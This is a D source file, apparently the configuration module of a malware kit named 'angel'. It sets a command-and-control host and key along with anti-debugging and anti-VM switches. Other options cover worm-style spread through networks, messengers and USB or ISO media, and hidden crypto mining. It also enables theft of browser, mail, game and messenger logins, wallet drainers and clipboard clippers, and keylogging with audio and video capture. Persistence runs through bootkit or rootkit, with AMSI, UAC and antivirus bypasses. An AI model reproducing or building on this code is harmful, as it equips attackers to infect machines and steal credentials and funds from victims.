module angel.config; // Internal imports import angel.utils.constants; // External imports import std.stdio; // bool -> possible values: 'true' or 'false' // string -> possible values: character slice (use "" to define a slice) // array - [] -> possible values: multiple character slices seperated by commas (inside) struct Config { struct Server { string host = "127.0.0.1"; // c2 ip int port = 8080; // c2 port int initializer = 0; } bool debug_mode = true; ubyte[] server_pk = [ 0x63, 0x33, 0xa2, 0x5f, 0x48, 0xbb, 0x69, 0x8e, 0x1a, 0x90, 0x02, 0x83, 0x20, 0xd2, 0x05, 0x6a, 0xa1, 0x6e, 0x37, 0x2e, 0xdd, 0x84, 0xb4, 0x06, 0x20, 0xc8, 0xbc, 0xb6, 0x82, 0x17, 0x81, 0x51 ]; // server public curve25519 key struct Antidbg { bool analysis = true; bool dbg = true; bool kill = false; bool vm = false; } bool fakeErr = false; // remove Constants.Errmsg("[]") to use std err msg Constants.Errmsg errmsg = Constants.Errmsg("custom err msg"); struct Exclude { string[] country = ["de", "ru"]; // country to exclude from stealing string[] path = ["", ""]; // path to exclude from antivirus string[] network = [""]; // disables access to specific network/web addresses } struct Spread { bool local_network = true; bool messenger = true; bool mail = false; } struct Infect { bool iso = true; bool usb = true; bool systemfil = true; } struct Miner { // choose from: 'gpu/cpu' Constants.Coin xmr = Constants.Coin(1, "", ""); // (integer percentage, source device, wallet address) Constants.Coin btc = Constants.Coin(1, "", ""); // example: (30, gpu, "0x62CeC6EAA79Ad549Bd010D13EdA4fDc796751823") Constants.Coin ltc = Constants.Coin(1, "", ""); Constants.Coin sol = Constants.Coin(1, "", ""); Constants.Coin eth = Constants.Coin(1, "", ""); } struct Exfil { bool applications = true; struct Browser { bool gecko = false; bool chromium = true; bool inject = false; } Browser browser; struct Network { bool ftp = false; bool ssh = false; bool vpn = false; bool proxy = false; bool hook = false; } Network network; struct Files { bool common = true; bool important = true; string[] commonFiles = [""]; string[] importantFiles = [""]; // put file extensions here like txt, png, jpeg, kdbx, db etc. } Files files; struct Games { bool accounts = true; bool saves = false; bool inject = true; string savesize = ""; // max. local save size (M=megabytes, K=kilobytes, G=gigabytes), e.g. 120M } Games games; struct Mail { bool client = true; bool web = false; bool inject = false; } Mail mail; bool filterAccounts = false; bool systemInformation = false; bool porndetect = false; struct Wallet { bool seed = true; Constants.Address xmrDrainer = Constants.Address(""); Constants.Address btcDrainer = Constants.Address(""); Constants.Address ltcDrainer = Constants.Address(""); Constants.Address solDrainer = Constants.Address(""); Constants.Address ethDrainer = Constants.Address(""); Constants.Address xmrClipper = Constants.Address(""); Constants.Address btcClipper = Constants.Address(""); Constants.Address ltcClipper = Constants.Address(""); Constants.Address ethClipper = Constants.Address(""); Constants.Address solClipper = Constants.Address(""); bool inject = false; } Wallet wallet; struct Messenger { bool messages = false; bool login = true; bool inject = false; } Messenger messenger; bool snapshot = false; bool screenshot = true; } struct Conn { bool keylogger = true; bool micrecord = false; bool vidrecord = false; string interval = ""; // integer + m = minutes, h = hours, d = days, example: 15m or 2h } struct Persistence { string mode = ""; // bootkit, ring0 rootkit, registry, windows startup folder, app injection startup // choose from: 'boot, kernel, reg, file, app' } struct Privesc { bool fixExclusion = true; bool disReagentC = true; bool disEtw = true; bool amsiBypass = true; bool uacBypass = true; bool destroyDef = false; bool disableAv = false; } struct Dropper { bool memLoad = true; // load into memory/run module bool startup = false; // will use the same method as persistence bool update = false; // scrape again every time from URL string url = ""; // URL to scrape file from } struct Dnsmanip { bool exclude = true; // excludes files from exclude struct to deny web access } Server server; Antidbg antidbg; Exclude exclude; Spread spread; Infect infect; Miner miner; Exfil exfil; Conn conn; Persistence persistence; Privesc privesc; Dropper dropper; Dnsmanip dnsmanip; } Config config;